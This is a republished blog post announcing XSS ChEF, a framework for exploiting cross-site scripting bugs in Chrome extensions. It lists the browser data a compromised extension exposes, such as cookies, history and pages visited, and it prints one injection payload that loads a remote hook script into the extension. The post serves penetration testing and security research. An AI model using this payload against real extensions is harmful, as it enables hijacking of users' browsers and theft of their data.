XSS ChEF: Chrome Extension Exploitation Framework
Join the DZone community and get the full member experience.
Join For FreeZombifying alert(1)
What do you do when you find XSS on a website? alert(1) of course. What you can do instead is to try to make something bigger out of it. You have several options:- If you're Samy, you write a worm (and you almost go to jail in return because the worm is so successful)
- If you're a bad guy, you redirect to an exploit-kit.
- If you're a pentester - you can use that XSS for further exploitation.
Chrome extensions are web apps too!
Chrome extensions are basically just HTML5 applications and can suffer from standard web vulnerabilities (read our BlackHat whitepaper: Advanced Chrome Extension Exploitation: Leveraging API powers for Better Evil for more details). Among them our beloved XSS. Yes, as it turns out, XSS vulnerabilities in Chrome extensions are pretty common (again - see white paper).Exploiting XSS in Chrome extensions is way cooler though, because they have much more capabilities than the standard webpages. Depending on the permissions declared in the manifest, they may be able to:
- get the content of every page that you visit (and URLs that you visit in incognito mode)
- execute JS in context of every website (Global XSS)
- take screenshots of your browser tabs
- monitor and alter your browsing history & cookies (even httpOnly!)
- access your bookmarks
- even change your proxy settings
But that's so cumbersome!
Yeah, I know. And I'm lazy too, so I've created a tool called XSS CheF - Chrome Extension Exploitation Framework which does the work for me. It's basically a BeEF equivalent for Chrome extensions. So, once you've found XSS vulnerability within Chrome extension, you can simply inject a payload like this:
<img src=x onerror="if(location.protocol.indexOf('chrome')==0){ d=document;e=createElement('script');e.src='http://localhost/xsschef/hook.php'; d.body.appendChild(e);}">
![]() |
Console |
Download
XSS ChEF is available on GitHub under GPLv3 license. As always - clone, download, test it and let me know how do you feel about it. Suggestions & contributions are more than welcome.
Published at DZone with permission of Krzysztof Kotowicz , DZone MVB. See the original article here.
Opinions expressed by DZone contributors are their own.
Comments